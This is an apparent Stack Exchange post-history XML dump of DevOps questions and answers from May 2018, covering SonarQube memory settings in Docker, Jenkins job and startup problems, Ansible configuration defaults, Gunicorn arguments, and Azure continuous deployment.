  <row Id="12860" PostHistoryTypeId="2" PostId="4106" RevisionGUID="53109447-d23b-434e-8d56-69a159471e5c" CreationDate="2018-05-16T07:54:33.527" UserId="3427" Text="I have a Sonarqube instance running as a docker container. Since I updated it to version 7.1 the analysis of my greatest project fails with `GC limit exceeded`. If I restart the server, it might succeed once. After a while of researching this issue, I am tempted to believe, I need to increase the `Xmx` value for the background task.&#xD;&#xA;&#xD;&#xA;Where and how can I configure this parameter?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**docker-compose.yml**&#xD;&#xA;&#xD;&#xA;    version: &quot;2&quot;&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;      postgres:&#xD;&#xA;        image: postgres:9-alpine&#xD;&#xA;        container_name: postgres&#xD;&#xA;        restart: always&#xD;&#xA;        volumes:&#xD;&#xA;          - /opt/docker-postgres/etc:/etc/postgresql&#xD;&#xA;          - /opt/docker-postgres/log:/var/log/postgresql&#xD;&#xA;          - /opt/docker-postgres/data:/var/lib/postgresql/data&#xD;&#xA;        environment:&#xD;&#xA;          POSTGRES_DB: sonar&#xD;&#xA;          POSTGRES_USER: &lt;SONAR_USER&gt;&#xD;&#xA;          POSTGRES_PASSWORD: &lt;SONAR_PASSWORD&gt;&#xD;&#xA;&#xD;&#xA;      sonar:&#xD;&#xA;        image: sonarqube:alpine&#xD;&#xA;        container_name: sonar&#xD;&#xA;        restart: always&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;9000:9000&quot;&#xD;&#xA;          - &quot;9092:9092&quot;&#xD;&#xA;        environment:&#xD;&#xA;          SONARQUBE_JDBC_USERNAME: &lt;SONAR_USER&gt;&#xD;&#xA;          SONARQUBE_JDBC_PASSWORD: &lt;SONAR_PASSWORD&gt;&#xD;&#xA;          SONARQUBE_JDBC_URL: jdbc:postgresql://postgres/sonar&#xD;&#xA;        volumes:&#xD;&#xA;          - /opt/docker-sonar/conf:/opt/sonarqube/conf&#xD;&#xA;          - /opt/docker-sonar/data:/opt/sonarqube/data&#xD;&#xA;          - /opt/docker-sonar/extensions:/opt/sonarqube/extensions&#xD;&#xA;          - /opt/docker-sonar/bundled-plugins:/opt/sonarqube/lib/bundled-plugins" ContentLicense="CC BY-SA 4.0" />
  <row Id="12861" PostHistoryTypeId="1" PostId="4106" RevisionGUID="53109447-d23b-434e-8d56-69a159471e5c" CreationDate="2018-05-16T07:54:33.527" UserId="3427" Text="How to change Xmx settings for sonar runner?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12862" PostHistoryTypeId="3" PostId="4106" RevisionGUID="53109447-d23b-434e-8d56-69a159471e5c" CreationDate="2018-05-16T07:54:33.527" UserId="3427" Text="&lt;docker&gt;&lt;java&gt;&lt;sonarqube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12864" PostHistoryTypeId="2" PostId="4108" RevisionGUID="6bbea2fc-3da4-4312-b9eb-4bef70aacd26" CreationDate="2018-05-16T09:17:25.653" UserId="5252" Text="You can ADD sonar.properties with update Xmx size using Dockerfile and then run docker-compose to build new image." ContentLicense="CC BY-SA 4.0" />
  <row Id="12865" PostHistoryTypeId="50" PostId="3883" RevisionGUID="61e02c68-9a39-469b-9a0a-0e144890fedc" CreationDate="2018-05-16T10:24:29.333" UserId="-1" />
  <row Id="12866" PostHistoryTypeId="5" PostId="4108" RevisionGUID="52a08011-abf3-45e5-8551-aa5b09fee9ae" CreationDate="2018-05-16T10:29:07.013" UserId="3427" Comment="Completely refactor answer, to give credit for hints " Text="You can simply put a `sonar.properties` file under `/opt/docker-sonar/conf/`. This file will be available inside the container under `/opt/sonarqune/conf/`, because the folder gets mounted as volume.&#xD;&#xA;&#xD;&#xA;A full example for a `sonar.properties` file can be found on [github](https://github.com/SonarSource/sonarqube/blob/master/sonar-application/src/main/assembly/conf/sonar.properties). However all you need to enter is:&#xD;&#xA;&#xD;&#xA;    sonar.ce.javaAdditionalOpts=-Xmx&lt;ACTUAL_VALUE&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12867" PostHistoryTypeId="24" PostId="4108" RevisionGUID="52a08011-abf3-45e5-8551-aa5b09fee9ae" CreationDate="2018-05-16T10:29:07.013" Comment="Proposed by 3427 approved by 5252 edit id of 694" ContentLicense="CC BY-SA 4.0" />
  <row Id="12881" PostHistoryTypeId="2" PostId="4113" RevisionGUID="f4862971-b427-4b07-81d7-415a819f50a3" CreationDate="2018-05-16T20:30:25.147" UserId="210" Text="Bitbucket, github, circleci are examples of Continuous Integration and Continuous Deployment (CI/CD) tools in the cloud.&#xD;&#xA;&#xD;&#xA;In the past, a lot of companies ran all services, like CI/CD and artifact managers, like maven, artifactory on premise. The last years more and more services move to the cloud.&#xD;&#xA;&#xD;&#xA;One of the advantages of on premise is that one could put everything behind a firewall and then everything that runs behind it could connect to each other.&#xD;&#xA;&#xD;&#xA;If companies decide to run CI/CD in the cloud and to store artifacts in another cloud, what security measurements could one apply? One of the thinks I could think of is restricting the firewall, but some services that run on Azure expose a lot of different IPs and then you are basically opening the firewall for everybody in the world." ContentLicense="CC BY-SA 4.0" />
  <row Id="12882" PostHistoryTypeId="1" PostId="4113" RevisionGUID="f4862971-b427-4b07-81d7-415a819f50a3" CreationDate="2018-05-16T20:30:25.147" UserId="210" Text="What are best practices for securing connections between CI and artifact managers in the cloud?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12883" PostHistoryTypeId="3" PostId="4113" RevisionGUID="f4862971-b427-4b07-81d7-415a819f50a3" CreationDate="2018-05-16T20:30:25.147" UserId="210" Text="&lt;security&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12885" PostHistoryTypeId="2" PostId="4115" RevisionGUID="289d3e4a-2d77-4dc3-91ec-302947dae7d2" CreationDate="2018-05-16T23:44:22.320" UserId="7866" Text="I had a similar problem and this worked for me without it feeling like a hack...&#xD;&#xA;&#xD;&#xA;**docker-compose.yml**:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;       web:&#xD;&#xA;          build .&#xD;&#xA;          environment:&#xD;&#xA;          - GUNICORN_CMD_ARGS=--workers=0 --bind=0.0.0.0:8000 --timeout=10&#xD;&#xA;&#xD;&#xA;*Note: add env GUNICORN_CMD_ARGS without quotes*&#xD;&#xA;&#xD;&#xA;**Dockerfile**:&#xD;&#xA;&#xD;&#xA;    FROM python:3.6-slim&#xD;&#xA;    COPY requirements.txt ./&#xD;&#xA;    RUN pip install --no-cache-dir -r requirements.txt&#xD;&#xA;    ENV GUNICORN_CMD_ARGS=&quot;--bind=0.0.0.0:8000 --workers=3&quot;&#xD;&#xA;    CMD gunicorn app:app&#xD;&#xA;&#xD;&#xA;*Note: run CMD gunicorn app:app without passing options via array or quotes*" ContentLicense="CC BY-SA 4.0" />
  <row Id="12886" PostHistoryTypeId="2" PostId="4116" RevisionGUID="1a5b9714-95df-4193-8300-3d597b8a7ced" CreationDate="2018-05-17T06:12:08.253" UserId="5252" Text="As I know for Git and Jenkins configuration we use SSH key authentication and secure token for security purpose.&#xD;&#xA;&#xD;&#xA;In your case you can't open all port to all then you can set revers proxy for your all URL using apache or nginx and forward traffic to port 80, So when request come first it's hit the port 80 and internally it will hit to your specific application port." ContentLicense="CC BY-SA 4.0" />
  <row Id="12887" PostHistoryTypeId="2" PostId="4117" RevisionGUID="3d8faae5-9903-48c8-a5be-c252ee86715e" CreationDate="2018-05-17T07:09:11.287" UserId="7855" Text="The variable &lt;code&gt;GIT_AUTHOR&lt;/code&gt; is only visible in the build step where it's defined. You can dump the parameters for the downstream job in a properties file:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;cd $WORKSPACE/prancer/&#xD;&#xA;GIT_AUTHOR=$(git show --format=&quot;%an&quot; | head -1)&#xD;&#xA;&#xD;&#xA;echo '-------------'&#xD;&#xA;echo 'git_commit is '$GIT_COMMIT&#xD;&#xA;echo 'git_branch is '$GIT_BRANCH&#xD;&#xA;echo 'git_author is '$GIT_AUTHOR&#xD;&#xA;echo '-------------'&#xD;&#xA;&#xD;&#xA;cat &gt; alex_test_pipeline.properties &amp;lt&amp;ltEOF&#xD;&#xA;GIT_COMMIT = $GIT_COMMIT&#xD;&#xA;GIT_BRANCH = $GIT_BRANCH&#xD;&#xA;GIT_AUTHOR = $GIT_AUTHOR&#xD;&#xA;EOF&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;In the &lt;code&gt;Trigger parameterized build...&lt;/code&gt; step, replace the &lt;code&gt;Predefined parameters&lt;/code&gt; with &lt;code&gt;Parameters from properties file&lt;/code&gt; (or something like that - I don't remember the exact wording) and select the filename used above. You might also want to check &lt;code&gt;Build only if file exists&lt;/code&gt;." ContentLicense="CC BY-SA 4.0" />
  <row Id="12890" PostHistoryTypeId="2" PostId="4118" RevisionGUID="e1b55eb9-6a00-424c-8efa-c318d50ca531" CreationDate="2018-05-17T11:20:19.500" UserId="4197" Text="I want to fill branchFilter automatically on Jenkins using JobDSL plugin and language.&#xD;&#xA;&#xD;&#xA;This is the url of Jenkins Job DSL plugin:&#xD;&#xA;&#xD;&#xA;https://jenkinsci.github.io/job-dsl-plugin/#path/javaposse.jobdsl.dsl.jobs.FreeStyleJob.parameters-gitParam&#xD;&#xA;&#xD;&#xA;I want to select all branches but master. To do that I have written the following lines:&#xD;&#xA;&#xD;&#xA;      //This Build is parametrized&#xD;&#xA;      parameters {&#xD;&#xA;          gitParam('branch') { // https://jenkinsci.github.io/job-dsl-plugin/#method/javaposse.jobdsl.dsl.helpers.BuildParametersContext.gitParam&#xD;&#xA;              description('Git Branch')&#xD;&#xA;              type('BRANCH')&#xD;&#xA;              branchFilter(&quot;^(?!.*master).*$&quot;)&#xD;&#xA;          }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;But when compiling it I get error that such method is not available. &#xD;&#xA;&#xD;&#xA;&gt; Processing provided DSL script ERROR: (script, line 28) No signature&#xD;&#xA;&gt; of method: javaposse.jobdsl.dsl.helpers.GitParamContext.branchFilter()&#xD;&#xA;&gt; is applicable for argument types: (java.lang.String) values: [*]&#xD;&#xA;&gt; Possible solutions: tagFilter(java.lang.String)&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Is there any workaround to do this automatically on the script or we have to fulfill that field after job has been created?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/HFkyK.jpg&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12891" PostHistoryTypeId="1" PostId="4118" RevisionGUID="e1b55eb9-6a00-424c-8efa-c318d50ca531" CreationDate="2018-05-17T11:20:19.500" UserId="4197" Text="jenkins - gitparam jobdsl - branchFilter" ContentLicense="CC BY-SA 4.0" />
  <row Id="12892" PostHistoryTypeId="3" PostId="4118" RevisionGUID="e1b55eb9-6a00-424c-8efa-c318d50ca531" CreationDate="2018-05-17T11:20:19.500" UserId="4197" Text="&lt;jenkins&gt;&lt;job-dsl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12893" PostHistoryTypeId="2" PostId="4119" RevisionGUID="78ad6d3b-b706-46ec-a1ce-1e6e244ceca9" CreationDate="2018-05-17T11:30:11.043" UserId="7871" Text="When I create playbooks I often add a comments section at the top on how to run the Ansible playbook. With more options becoming available in Ansible, the list of command-line arguments also seems to grow. It made me curious to see if there is a way to specify defaults for these arguments in the playbook.&#xD;&#xA;&#xD;&#xA;For example my playbook needs the following arguments:&#xD;&#xA;&#xD;&#xA; - the hosts file: `-i hosts`&#xD;&#xA; - the password for become: `-K`&#xD;&#xA; - the password for the vault: `--ask-vault-pass`&#xD;&#xA; - the name of the playbook: `myplaybook.yml`&#xD;&#xA;&#xD;&#xA;It would be easier if I could just run the following command (especially for co-workers):  &#xD;&#xA;`ansible-playbook myplaybook.yml`&#xD;&#xA;&#xD;&#xA;And specify in the playbook, that by default it should look for a `hosts` inventory file and ask for sudo + vault passwords. Of course I could create a script and wrap the playbook command, but that adds another layer on top of it.&#xD;&#xA;&#xD;&#xA;I guess I'm looking for adding something like this to my playbook:&#xD;&#xA;&#xD;&#xA;    vars:&#xD;&#xA;      inventory_file: hosts&#xD;&#xA;      ask_become_pass: true&#xD;&#xA;      ask_vault_pass: true&#xD;&#xA;&#xD;&#xA;Is that possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12894" PostHistoryTypeId="1" PostId="4119" RevisionGUID="78ad6d3b-b706-46ec-a1ce-1e6e244ceca9" CreationDate="2018-05-17T11:30:11.043" UserId="7871" Text="Specify default arguments for Ansible playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="12895" PostHistoryTypeId="3" PostId="4119" RevisionGUID="78ad6d3b-b706-46ec-a1ce-1e6e244ceca9" CreationDate="2018-05-17T11:30:11.043" UserId="7871" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12896" PostHistoryTypeId="2" PostId="4120" RevisionGUID="137d621e-1db0-4b02-8fce-84a4f1785180" CreationDate="2018-05-17T12:09:26.667" UserId="7855" Text="That's what the configuration file is for. Create an &lt;code&gt;ansible.cfg&lt;/code&gt; in the directory from where you run &lt;code&gt;ansible&lt;/code&gt;, like so:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[defaults]&#xD;&#xA;inventory = hosts&#xD;&#xA;ask_vault_pass = True&#xD;&#xA;&#xD;&#xA;[privilege_escalation]&#xD;&#xA;become_ask_pass = True&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;See also http://docs.ansible.com/ansible/latest/reference_appendices/config.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="12897" PostHistoryTypeId="2" PostId="4121" RevisionGUID="3c9584e6-2d17-4c86-997e-1f1632f68e9e" CreationDate="2018-05-17T12:16:02.350" UserId="7873" Text="I updated my Jenkins (which is running as a Service on a Windows-2000 Server) from 2.120 to 2.122  via Jenkins own update mechanism.&#xD;&#xA;&#xD;&#xA;In the same run I updated some plugings too.&#xD;&#xA;&#xD;&#xA;Now my Jenkins fails to (re-) start with this error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`jenkins.model.InvalidBuildsDir: /development/workspace/jenkins/${ITEM_FULL_NAME}/builds does not resolve to an absolute path&#xD;&#xA;	at jenkins.model.Jenkins.checkRawBuildsDir(Jenkins.java:3060)&#xD;&#xA;	at jenkins.model.Jenkins.loadConfig(Jenkins.java:3009)&#xD;&#xA;Caused: java.io.IOException&#xD;&#xA;	at jenkins.model.Jenkins.loadConfig(Jenkins.java:3012)&#xD;&#xA;	at jenkins.model.Jenkins.access$1200(Jenkins.java:304)&#xD;&#xA;	at jenkins.model.Jenkins$14.run(Jenkins.java:3104)&#xD;&#xA;	at org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:296)&#xD;&#xA;	at jenkins.model.Jenkins$5.runTask(Jenkins.java:1068)&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:214)&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)&#xD;&#xA;	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)&#xD;&#xA;	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)&#xD;&#xA;	at java.lang.Thread.run(Thread.java:745)&#xD;&#xA;Caused: org.jvnet.hudson.reactor.ReactorException&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:282)&#xD;&#xA;	at jenkins.InitReactorRunner.run(InitReactorRunner.java:48)&#xD;&#xA;	at jenkins.model.Jenkins.executeReactor(Jenkins.java:1102)&#xD;&#xA;	at jenkins.model.Jenkins.&lt;init&gt;(Jenkins.java:904)&#xD;&#xA;	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:85)&#xD;&#xA;	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:81)&#xD;&#xA;	at hudson.WebAppMain$3.run(WebAppMain.java:233)&#xD;&#xA;Caused: hudson.util.HudsonFailedToLoad&#xD;&#xA;	at hudson.WebAppMain$3.run(WebAppMain.java:250)`&#xD;&#xA;&#xD;&#xA;I suspect that there is a problem to resolve the property `${ITEM_FULL_NAME}`. &#xD;&#xA;&#xD;&#xA;But on the other Hand I'm missing the drive letter (`D:`) in the path reported too. &#xD;&#xA;The Jenkins instance is running from the same drive (`D:`).&#xD;&#xA;&#xD;&#xA;What are my Options to track the Problem and fixing it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12898" PostHistoryTypeId="1" PostId="4121" RevisionGUID="3c9584e6-2d17-4c86-997e-1f1632f68e9e" CreationDate="2018-05-17T12:16:02.350" UserId="7873" Text="after automatic update jenkins fails with `InvalidBuildsDir: .../${ITEM_FULL_NAME}/builds does not resolve to an absolute path`" ContentLicense="CC BY-SA 4.0" />
  <row Id="12899" PostHistoryTypeId="3" PostId="4121" RevisionGUID="3c9584e6-2d17-4c86-997e-1f1632f68e9e" CreationDate="2018-05-17T12:16:02.350" UserId="7873" Text="&lt;jenkins2&gt;&lt;installation&gt;&lt;startup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12900" PostHistoryTypeId="5" PostId="4120" RevisionGUID="e4b27a9c-b25e-48c1-8411-7fa35538a834" CreationDate="2018-05-17T12:18:07.763" UserId="7855" Comment="Clarified precedence of command line options" Text="That's what the configuration file is for. Create an &lt;code&gt;ansible.cfg&lt;/code&gt; in the directory from where you run &lt;code&gt;ansible&lt;/code&gt;, like so:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[defaults]&#xD;&#xA;inventory = hosts&#xD;&#xA;ask_vault_pass = True&#xD;&#xA;&#xD;&#xA;[privilege_escalation]&#xD;&#xA;become_ask_pass = True&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;See also http://docs.ansible.com/ansible/latest/reference_appendices/config.html&#xD;&#xA;&#xD;&#xA;The &lt;code&gt;ansible.cfg&lt;/code&gt; in the working directory precedes &lt;code&gt;/etc/ansible/ansible.cfg&lt;/code&gt;. The full search order is described on the page linked above. Command line options you pass on invocation override all configuration files." ContentLicense="CC BY-SA 4.0" />
  <row Id="12901" PostHistoryTypeId="5" PostId="4121" RevisionGUID="1445a205-920c-4eba-b9b1-0b6f1573ff58" CreationDate="2018-05-17T12:24:06.703" UserId="7873" Comment="added 16 characters in body" Text="I had a working Jenkins running as a Service on a Windows-2000 Server&#xD;&#xA;&#xD;&#xA;I updated my Jenkins from 2.120 to 2.122  via Jenkins own update mechanism.&#xD;&#xA;&#xD;&#xA;In the same run I updated some plugings too.&#xD;&#xA;&#xD;&#xA;Now my Jenkins fails to (re-) start with this error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`jenkins.model.InvalidBuildsDir: /development/workspace/jenkins/${ITEM_FULL_NAME}/builds does not resolve to an absolute path&#xD;&#xA;	at jenkins.model.Jenkins.checkRawBuildsDir(Jenkins.java:3060)&#xD;&#xA;	at jenkins.model.Jenkins.loadConfig(Jenkins.java:3009)&#xD;&#xA;Caused: java.io.IOException&#xD;&#xA;	at jenkins.model.Jenkins.loadConfig(Jenkins.java:3012)&#xD;&#xA;	at jenkins.model.Jenkins.access$1200(Jenkins.java:304)&#xD;&#xA;	at jenkins.model.Jenkins$14.run(Jenkins.java:3104)&#xD;&#xA;	at org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:296)&#xD;&#xA;	at jenkins.model.Jenkins$5.runTask(Jenkins.java:1068)&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:214)&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)&#xD;&#xA;	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)&#xD;&#xA;	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)&#xD;&#xA;	at java.lang.Thread.run(Thread.java:745)&#xD;&#xA;Caused: org.jvnet.hudson.reactor.ReactorException&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:282)&#xD;&#xA;	at jenkins.InitReactorRunner.run(InitReactorRunner.java:48)&#xD;&#xA;	at jenkins.model.Jenkins.executeReactor(Jenkins.java:1102)&#xD;&#xA;	at jenkins.model.Jenkins.&lt;init&gt;(Jenkins.java:904)&#xD;&#xA;	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:85)&#xD;&#xA;	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:81)&#xD;&#xA;	at hudson.WebAppMain$3.run(WebAppMain.java:233)&#xD;&#xA;Caused: hudson.util.HudsonFailedToLoad&#xD;&#xA;	at hudson.WebAppMain$3.run(WebAppMain.java:250)`&#xD;&#xA;&#xD;&#xA;I suspect that there is a problem to resolve the property `${ITEM_FULL_NAME}`. &#xD;&#xA;&#xD;&#xA;But on the other Hand I'm missing the drive letter (`D:`) in the path reported too. &#xD;&#xA;The Jenkins instance is running from the same drive (`D:`).&#xD;&#xA;&#xD;&#xA;What are my Options to track the Problem and fixing it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12902" PostHistoryTypeId="2" PostId="4122" RevisionGUID="674cf00f-8c04-4c8d-9ef2-3873a18e76b9" CreationDate="2018-05-17T13:15:52.437" UserId="6042" Text="Two weeks ago the deployment time for my Azure Bots started to be totally atypical&#xD;&#xA;&#xD;&#xA;Before it was running between 2-4 minutes max. but since then it takes more than 30mins or most of the times directly fails and the only output I see is the following:&#xD;&#xA;&#xD;&#xA;Log file:&#xD;&#xA;[deploy.log][1]&#xD;&#xA;&#xD;&#xA;    Thread was being aborted.&#xD;&#xA;    Thread was being aborted. &#xD;&#xA;&#xD;&#xA;that doesn't say that much.&#xD;&#xA;&#xD;&#xA;This fails when I configure the continuous deployment option through the portal.azure site. If I disconnect it and set up the autodeploy from the visual studio team services sites it works.&#xD;&#xA;&#xD;&#xA;In the activity log I could find this:&#xD;&#xA;&#xD;&#xA;&gt;&gt;Operation name Write Deployments&#xD;&#xA;&#xD;&#xA;&gt;&gt;Time stamp Thu May 17 2018 14:46:49 GMT+0200 (W. Europe Daylight Time)&#xD;&#xA;&#xD;&#xA;&gt;&gt;Event initiated by XXXXX@XXXX.XXX&#xD;&#xA;&#xD;&#xA;&gt;&gt;Error code ClientClosedRequest&#xD;&#xA;&#xD;&#xA;&gt;&gt;Message The connection has been closed by the client while the server is still processing its request for 'Microsoft.Web'.&#xD;&#xA;&#xD;&#xA;Any idea about this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://pastebin.com/axHujWam" ContentLicense="CC BY-SA 4.0" />
  <row Id="12903" PostHistoryTypeId="1" PostId="4122" RevisionGUID="674cf00f-8c04-4c8d-9ef2-3873a18e76b9" CreationDate="2018-05-17T13:15:52.437" UserId="6042" Text="Continuous integration azure slow or fails" ContentLicense="CC BY-SA 4.0" />
  <row Id="12904" PostHistoryTypeId="3" PostId="4122" RevisionGUID="674cf00f-8c04-4c8d-9ef2-3873a18e76b9" CreationDate="2018-05-17T13:15:52.437" UserId="6042" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;azure&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12905" PostHistoryTypeId="50" PostId="3362" RevisionGUID="dfcef18a-fb78-4fce-bcd5-ad6b94c25cd4" CreationDate="2018-05-17T13:25:13.380" UserId="-1" />
  <row Id="12906" PostHistoryTypeId="2" PostId="4123" RevisionGUID="e41d00f4-30af-4bad-9fc3-6c92c2f17c22" CreationDate="2018-05-17T16:27:05.967" UserId="7875" Text="Right now, using AWS services we have a CI and deployment pattern that works well for us.&#xD;&#xA;&#xD;&#xA;For every commit pushed to github, Travis-CI builds the project and runs tests, if tests pass, Travis uses CodeDeploy to deploy to staging (an AWS EC2). On tagged commits, if tests pass, deploy to production.&#xD;&#xA;&#xD;&#xA;We are exploring using Azure, and we can't quite seem to figure out how to get the same pattern. In particular, we can't find the equivalent to CodeDeploy for Azure.&#xD;&#xA;&#xD;&#xA;Does anyone have a similar pattern of CI and deployment that deploys to an Azure Virtual Machine?&#xD;&#xA;&#xD;&#xA;According to Microsoft's [AWS to Azure services comparison](https://docs.microsoft.com/en-us/azure/architecture/aws-professional/services), Visual Studio Team Services corresponds to CodeDeploy, but it seems like a very different tool and it is not clear to me if it can be put in our current pipeline.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12907" PostHistoryTypeId="1" PostId="4123" RevisionGUID="e41d00f4-30af-4bad-9fc3-6c92c2f17c22" CreationDate="2018-05-17T16:27:05.967" UserId="7875" Text="CodeDeploy Equivalent for Azure" ContentLicense="CC BY-SA 4.0" />
  <row Id="12908" PostHistoryTypeId="3" PostId="4123" RevisionGUID="e41d00f4-30af-4bad-9fc3-6c92c2f17c22" CreationDate="2018-05-17T16:27:05.967" UserId="7875" Text="&lt;azure&gt;&lt;travis-ci&gt;&lt;aws-codedeploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12909" PostHistoryTypeId="5" PostId="4123" RevisionGUID="cde06647-3d59-44b8-97fc-684aa546e5c1" CreationDate="2018-05-17T16:32:34.237" UserId="7875" Comment="deleted 1 character in body" Text="Right now, using AWS services we have a CI and deployment pattern that works well for us.&#xD;&#xA;&#xD;&#xA;For every commit pushed to github, Travis-CI builds the project and runs tests, if tests pass, Travis uses CodeDeploy to deploy to staging (an AWS EC2). On tagged commits, if tests pass, deploy to production.&#xD;&#xA;&#xD;&#xA;We are exploring using Azure, and we can't quite seem to figure out how to get the same pattern. In particular, we can't find the equivalent to CodeDeploy for Azure.&#xD;&#xA;&#xD;&#xA;Does anyone have a similar pattern of CI and deployment that deploys to an Azure Virtual Machine?&#xD;&#xA;&#xD;&#xA;According to Microsoft's [AWS to Azure services comparison](https://docs.microsoft.com/en-us/azure/architecture/aws-professional/services), Visual Studio Team Services correspond to CodeDeploy, but it seems like a very different tool and it is not clear to me if it can be put in our current pipeline.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12910" PostHistoryTypeId="4" PostId="4123" RevisionGUID="cde06647-3d59-44b8-97fc-684aa546e5c1" CreationDate="2018-05-17T16:32:34.237" UserId="7875" Comment="deleted 1 character in body" Text="Azure Equivalent for CodeDeploy" ContentLicense="CC BY-SA 4.0" />
  <row Id="12911" PostHistoryTypeId="5" PostId="4121" RevisionGUID="97b91709-083a-460a-ba7f-5262dcf0821f" CreationDate="2018-05-17T16:46:00.303" UserId="739" Comment="formatting long error message as code block" Text="I had a working Jenkins running as a Service on a Windows-2000 Server&#xD;&#xA;&#xD;&#xA;I updated my Jenkins from 2.120 to 2.122  via Jenkins own update mechanism.&#xD;&#xA;&#xD;&#xA;In the same run I updated some plugings too.&#xD;&#xA;&#xD;&#xA;Now my Jenkins fails to (re-) start with this error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    jenkins.model.InvalidBuildsDir: /development/workspace/jenkins/${ITEM_FULL_NAME}/builds does not resolve to an absolute path&#xD;&#xA;    	at jenkins.model.Jenkins.checkRawBuildsDir(Jenkins.java:3060)&#xD;&#xA;    	at jenkins.model.Jenkins.loadConfig(Jenkins.java:3009)&#xD;&#xA;    Caused: java.io.IOException&#xD;&#xA;    	at jenkins.model.Jenkins.loadConfig(Jenkins.java:3012)&#xD;&#xA;    	at jenkins.model.Jenkins.access$1200(Jenkins.java:304)&#xD;&#xA;    	at jenkins.model.Jenkins$14.run(Jenkins.java:3104)&#xD;&#xA;    	at org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:296)&#xD;&#xA;    	at jenkins.model.Jenkins$5.runTask(Jenkins.java:1068)&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:214)&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:745)&#xD;&#xA;    Caused: org.jvnet.hudson.reactor.ReactorException&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:282)&#xD;&#xA;    	at jenkins.InitReactorRunner.run(InitReactorRunner.java:48)&#xD;&#xA;    	at jenkins.model.Jenkins.executeReactor(Jenkins.java:1102)&#xD;&#xA;    	at jenkins.model.Jenkins.&lt;init&gt;(Jenkins.java:904)&#xD;&#xA;    	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:85)&#xD;&#xA;    	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:81)&#xD;&#xA;    	at hudson.WebAppMain$3.run(WebAppMain.java:233)&#xD;&#xA;    Caused: hudson.util.HudsonFailedToLoad&#xD;&#xA;    	at hudson.WebAppMain$3.run(WebAppMain.java:250)&#xD;&#xA;&#xD;&#xA;I suspect that there is a problem to resolve the property `${ITEM_FULL_NAME}`. &#xD;&#xA;&#xD;&#xA;But on the other Hand I'm missing the drive letter (`D:`) in the path reported too. 